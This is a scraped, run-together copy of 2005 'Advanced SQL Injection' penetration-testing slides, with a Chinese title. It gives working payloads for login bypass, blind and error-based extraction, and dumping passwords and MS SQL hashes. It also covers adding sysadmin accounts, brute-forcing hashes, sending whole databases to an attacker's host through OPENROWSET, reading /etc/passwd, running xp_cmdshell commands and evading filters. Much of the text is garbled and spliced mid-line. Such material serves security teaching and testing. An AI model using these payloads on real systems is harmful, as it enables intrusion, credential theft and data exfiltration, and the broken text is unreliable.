SQL注入高級進(jìn)階

1、Advanced SQL InjectionVictor ChapelaSm4rt Security Services4/11/2005What is SQL?SQL stands for Structured Query Language Allows us to access a database ANSI and ISO standard computer language The most current standard is SQL99SQL can:execute queries against a database retrieve data from a database i

2、nsert new records in a database delete records from a database update records in a database2SQL is a Standard - but.There are many different versions of the SQL languageThey support the same major keywords in a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others).Most of the SQ

3、L database programs also have their own proprietary extensions in addition to the SQL standard!3SQL Database TablesA relational database contains one or more tables identified each by a nameTables contain records (rows) with data For example, the following table is called users and contains data dis

4、tributed in rows and columns:userIDNameLastNameLoginPassword1JohnSmithjsmithhello2AdamTayloradamtqwerty3DanielThompsondthompsondthompson4SQL QueriesWith SQL, we can query a database and have a result set returnedUsing the previous table, a query like this:SELECT LastName FROM users WHERE UserID = 1;

5、Gives a result set like this:LastNameSmith5SQL Data Manipulation Language (DML)SQL includes a syntax to update, insert, and delete records:SELECT - extracts dataUPDATE - updates dataINSERT INTO - inserts new data DELETE - deletes data6SQL Data Definition Language (DDL)The Data Definition Language (D

6、DL) part of SQL permits:Database tables to be created or deletedDefine indexes (keys)Specify links between tablesImpose constraints between database tablesSome of the most commonly used DDL statements in SQL are: CREATE TABLE - creates a new database tableALTER TABLE - alters (changes) a database ta

7、bleDROP TABLE - deletes a database table7MetadataAlmost all SQL databases are based on the RDBM (Relational Database Model)One important fact for SQL InjectionAmongst Codds 12 rules for a Truly Relational Database System:Metadata (data about the database) must be stored in the database just as regul

8、ar data isTherefore, database structure can also be read and altered with SQL queries8What is SQL Injection?The ability to inject SQL commands into the database enginethrough an existing application9How common is it?It is probably the most common Website vulnerability today!It is a flaw in web appli

9、cation development, it is not a DB or web server problemMost programmers are still not aware of this problemA lot of the tutorials & demo “templates” are vulnerableEven worse, a lot of solutions posted on the Internet are not good enoughIn our pen tests over 60% of our clients turn out to be vulnera

10、ble to SQL Injection10Vulnerable ApplicationsAlmost all SQL databases and programming languages are potentially vulnerableMS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etcAccessed through applications developed using:Perl and CGI scripts that access databases ASP, JSP, PH

11、PXML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and APIs Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)many more11How does SQL Injection work?Common vulnerable login query SELECT * FROM users WHERE login

12、= victorAND password = 123(If it returns something then login!)ASP/MS SQL Server login syntaxvar sql = SELECT * FROM usersWHERE login = + formusr + AND password = + formpwd + ; 12Injecting through Stringsformusr = or 1=1 formpwd = anythingFinal query would look like this:SELECT * FROM usersWHERE use

13、rname = or 1=1 AND password = anything13The power of It closes the string parameterEverything after is considered part of the SQL commandMisleading Internet suggestions include:Escape it! : replace with String fields are very common but there are other types of fields:NumericDates14If it were numeri

14、c?SELECT * FROM clients WHERE account = AND pin = 1111PHP/MySQL login syntax$sql = SELECT * FROM clients WHERE . account = $formacct AND . pin = $formpin; 15Injecting Numeric Fields$formacct = 1 or 1=1 # $formpin = 1111Final query would look like this:SELECT * FROM clientsWHERE account = 1 or 1=1 #

15、AND pin = 111116SQL Injection Characters or character String Indicators- or # single-line comment/*/ multiple-line comment+addition, concatenate (or space in url)|(double pipe) concatenate%wildcard attribute indicator?Param1=foo&Param2=bar URL ParametersPRINT useful as non transactional commandvaria

16、blelocal variablevariableglobal variablewaitfor delay 0:0:10 time delay17MethodologySQL Injection Testing Methodology1) Input Validation2) Info. Gathering 6) OS Cmd Prompt7) Expand Influence4) Extracting Data3) 1=1 Attacks 5) OS Interaction 191) Input Validation2) Info. Gathering 3) 1=1 Attacks 5) O

17、S Interaction 6) OS Cmd Prompt4) Extracting Data7) Expand Influence1) Input Validation20Discovery of VulnerabilitiesVulnerabilities can be anywhere, we check all entry points:Fields in web formsScript parameters in URL query stringsValues stored in cookies or hidden fieldsBy fuzzing we insert into e

18、very one:Character sequence: ) # | + SQL reserved words with white space delimiters %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc)Delay query waitfor delay 0:0:10-212) Information Gathering 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction

19、6) OS Cmd Prompt4) Extracting Data7) Expand Influence1) Input Validation222) Information GatheringWe will try to find out the following:Output mechanismUnderstand the queryDetermine database typeFind out user privilege levelDetermine OS interaction level23a) Exploring Output MechanismsUsing query re

20、sult sets in the web applicationError MessagesCraft SQL queries that generate specific types of error messages with valuable info in themBlind SQL InjectionUse time delays or error signatures to determine extract informationAlmost the same things can be done but Blind Injection is much slower and mo

21、re difficultOther mechanismse-mail, SMB, FTP, TFTP24Extracting information through Error MessagesGrouping Error group by columnnames having 1=1 - -Type Mismatch union select 1,1,text,1,1,1 - - union select 1,1, bigint,1,1,1 - -Where text or bigint are being united into an int columnIn DBs that allow

22、 subqueries, a better way is: and 1 in (select text ) - -In some cases we may need to CAST or CONVERT our data to generate the error messages25Blind InjectionWe can use different known outcomes and condition and 1=1Or we can use if statements; if condition waitfor delay 0:0:5 -; union select if( con

23、dition , benchmark (100000, sha1(test), false ),1,1,1,1;Additionally, we can run all types of queries but with no debugging information!We get yes/no responses onlyWe can extract ASCII a bit at a time.Very noisy and time consuming but possible with automated tools like SQueaL26b) Understanding the Q

24、ueryThe query can be:SELECTUPDATEEXECINSERTOr something more complexContext helpsWhat is the form or page trying to do with our input? What is the name of the field, cookie or parameter?27SELECT StatementMost injections will land in the middle of a SELECT statementIn a SELECT clause we almost always

25、 end up in the WHERE section:SELECT *FROM tableWHERE x = normalinput group by x having 1=1 -GROUP BY xHAVING x = yORDER BY x28UPDATE statementIn a change your password section of an app we may find the followingUPDATE usersSET password = new passwordWHERE login = logged.userAND password = old passwo

26、rdIf you inject in new password and comment the rest, you end up changing every password in the table!29Determining a SELECT Query StructureTry to replicate an error free navigationCould be as simple as and 1 = 1Or and 1 = 2Generate specific errorsDetermine table and column names group by columnname

27、s having 1=1 -Do we need parenthesis? Is it a subquery?30Is it a stored procedure?We use different injections to determine what we can or cannot do,variable?Param1=foo&Param2=barPRINTPRINT variable31Tricky QueriesWhen we are in a part of a subquery or begin - end statementWe will need to use parenth

28、esis to get outSome functionality is not available in subqueries (for example group by, having and further subqueries)In some occasions we will need to add an ENDWhen several queries use the inputWe may end up creating different errors in different queries, it gets confusing!An error generated in th

29、e query we are interrupting may stop execution of our batch queriesSome queries are simply not escapable!32c) Determine Database Engine TypeMost times the error messages will let us know what DB engine we are working withODBC errors will display database type as part of the driver informationIf we h

30、ave no ODBC error messages:We make an educated guess based on the Operating System and Web ServerOr we use DB-specific characters, commands or stored procedures that will generate different error messages33Some differences34More differences35d) Finding out user privilege levelThere are several SQL99

31、 built-in scalar functions that will work in most SQL implementations:user or current_usersession_usersystem_user and 1 in (select user ) -; if user =dbo waitfor delay 0:0:5 - union select if( user() like root%, benchmark(50000,sha1(test), false );36DB AdministratorsDefault administrator accounts in

32、clude:sa, system, sys, dba, admin, root and many othersIn MS SQL they map into dbo:The dbo is a user that has implied permissions to perform all activities in the database. Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo.

33、 Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically.373) 1=1 Attacks 1) Input Validation5) OS Interaction 6) OS Cmd Prompt4) Extracting Data7) Expand Influence2) Info. Gathering 3) 1=1 Attacks 38Discover DB structureDetermine table and column names

34、group by columnnames having 1=1 -Discover column name types union select sum(columnname ) from tablename -Enumerate user defined tables and 1 in (select min(name) from sysobjects where xtype = U and name .) -39Enumerating table columns in different DBsMS SQLSELECT name FROM syscolumns WHERE id = (SE

35、LECT id FROM sysobjects WHERE name = tablename )sp_columns tablename (this stored procedure can be used instead)MySQLshow columns from tablenameOracleSELECT * FROM all_tab_columnsWHERE table_name=tablename DB2SELECT * FROM syscat.columnsWHERE tabname= tablename PostgresSELECT attnum,attname from pg_

36、class, pg_attributeWHERE relname= tablename AND pg_class.oid=attrelid AND attnum 040All tables and columns in one query union select 0, + : + + : + , 1, 1, 1, 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = U AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systy

37、pes.xtype -41Database EnumerationIn MS SQL Server, the databases can be queried with master.sysdatabasesDifferent databases in Server and 1 in (select min(name ) from master.dbo.sysdatabases where name . ) - of databases and 1 in (select min( ) from master.dbo.sysdatabases where . ) -42System Tables

38、OracleSYS.USER_OBJECTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_TAB_COLUMNSSYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMS AccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMS SQL Serversysobjectssyscolumnssystypessysdatabases434) Extracting Data4) Extracting Data1) Input Val

39、idation5) OS Interaction 6) OS Cmd Prompt7) Expand Influence2) Info. Gathering 3) 1=1 Attacks 44Password grabbingGrabbing username and passwords from a User Defined table; begin declare var varchar(8000) set var=: select var=var+ +login+/+password+ from users where loginvarselect var as var into tem

40、p end - and 1 in (select var from temp) - ; drop table temp -45Create DB AccountsMS SQLexec sp_addlogin victor, Pass123exec sp_addsrvrolemember victor, sysadminMySQLINSERT INTO mysql.user (user, host, password) VALUES (victor, localhost, PASSWORD(Pass123)AccessCREATE USER victor IDENTIFIED BY Pass12

41、3Postgres (requires UNIX account)CREATE USER victor WITH PASSWORD Pass123OracleCREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;GRANT CONNECT TO victor;GRANT RESOURCE TO victor;46Grabbing MS SQL Server HashesAn easy query:SELECT name, password FROM sysxlogi

42、nsBut, hashes are varbinary To display them correctly through an error message we need to Hex themAnd then concatenate allWe can only fit 70 name/password pairs in a varcharWe can only see 1 complete pair at a timePassword field requires dbo accessWith lower privileges we can still recover user name

43、s and brute force the password47What do we do?The hashes are extracted usingSELECT password FROM master.sysxloginsWe then hex each hashbegin charvalue=0 x, i=1, length=datalength(binvalue), hexstring = 0123456789ABCDEF while (i=length) BEGINdeclare tempint int, firstint int, secondint int select tem

44、pint=CONVERT(int,SUBSTRING(binvalue,i,1) select firstint=FLOOR(tempint/16) select secondint=tempint - (firstint*16) select charvalue=charvalue + SUBSTRING (hexstring,firstint+1,1) + SUBSTRING (hexstring, secondint+1, 1) select i=i+1 ENDAnd then we just cycle through all passwords48Extracting SQL Has

45、hesIt is a long statement; begin declare var varchar(8000), xdate1 datetime, binvalue varbinary(255), charvalue varchar(255), i int, length int, hexstring char(16) set var=: select xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while xdate1 = (select max(xdat

46、e1) from master.dbo.sysxlogins where password is not null) begin select binvalue=(select password from master.dbo.sysxlogins where xdate1=xdate1), charvalue = 0 x, i=1, length=datalength(binvalue), hexstring = 0123456789ABCDEF while (ixdate1 and password is not null) end select var as x into temp en

47、d end -49Extract hashes through error messages and 1 in (select x from temp) - and 1 in (select substring (x, 256, 256) from temp) - and 1 in (select substring (x, 512, 256) from temp) -etc drop table temp -50Brute forcing PasswordsPasswords can be brute forced by using the attacked server to do the

48、 processingSQL Crack Scriptcreate table tempdb.passwords( pwd varchar(255) ) bulk insert tempdb.passwords from c:temppasswords.txt select name, pwd from tempdb.passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare

49、( name, sysxlogins.password, 0 ) = 1) union select , null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb.passwords51Transfer DB structure and dataOnce network connectivity has been

50、testedSQL Server can be linked back to the attackers DB by using OPENROWSETDB Structure is replicatedData is transferredIt can all be done by connecting to a remote port 80!52Create Identical DB Structure; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select

51、* from mydatabase.hacked_sysdatabases) select * from master.dbo.sysdatabases -; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select * from mydatabase.hacked_sysdatabases) select * from user_database.dbo.sysobjects -; insert intoOPENROWSET(SQLoledb,uid=sa;pwd

52、=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from mydatabase.hacked_syscolumns)select * from user_database.dbo.syscolumns -53Transfer DB; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from mydatabase.table1)select * from database.table1 -; insert

53、 intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from mydatabase.table2)select * from database.table2 -545) OS Interaction 5) OS Interaction 6) OS Cmd Prompt7) Expand Influence1) Input Validation2) Info. Gathering 3) 1=1 Attacks 4) Extracting Data55Interacting w

54、ith the OSTwo ways to interact with the OS:Reading and writing system files from diskFind passwords and configuration filesChange passwords and configurationExecute commands by overwriting initialization or configuration filesDirect command executionWe can do anythingBoth are restricted by the datab

55、ases running privileges and permissions56MySQL OS InteractionMySQLLOAD_FILE union select 1,load_file(/etc/passwd),1,1,1;LOAD DATA INFILEcreate table temp( line blob );load data infile /etc/passwd into table temp;select * from temp;SELECT INTO OUTFILE57MS SQL OS InteractionMS SQL Server; exec master.

56、xp_cmdshell ipconfig test.txt -; CREATE TABLE tmp (txt varchar(8000); BULK INSERT tmp FROM test.txt -; begin declare data varchar(8000) ; set data=| ; select data=data+txt+ | from tmp where txt test.txt & ipconfig /all test.txt & nbtstat -c test.txt & netstat -ano test.txt & route print test.txt & t

57、racert -w 10 -h 10 test.txt; EXEC master.xp_cmdshell var -; CREATE TABLE tmp (txt varchar(8000); BULK INSERT tmp FROM test.txt -; begin declare data varchar(8000) ; set data=: ; select data=data+txt+ | from tmp where txt 1 OR text t OR whatever IN (whatever) OR 2 BETWEEN 1 AND 377Input validationSom

58、e people use PHP addslashes() function to escape characterssingle quote ()double quote ()backslash ()NUL (the NULL byte) This can be easily evaded by using replacements for any of the previous characters in a numeric field78Evasion and CircumventionIDS and input validation can be circumvented by enc

59、odingSome ways of encoding parametersURL encodingUnicode/UTF-8Hex encondingchar() function79MySQL Input Validation Circumvention using Char()Inject without quotes (string = %): or username like char(37);Inject without quotes (string = root): union select * from users where login = char(114,111,111,1

60、16);Load files in unions (string = /etc/passwd): union select 1, (load_(47,101,116,99,47,112,97,115,115,119,100),1,1,1;Check for existing files (string = n.ext): and 1=( if( (load_(110,46,101,120,116)char(39,39),1,0);80IDS Signature Evasion using white spacesUNION SELECT signature is different toUNI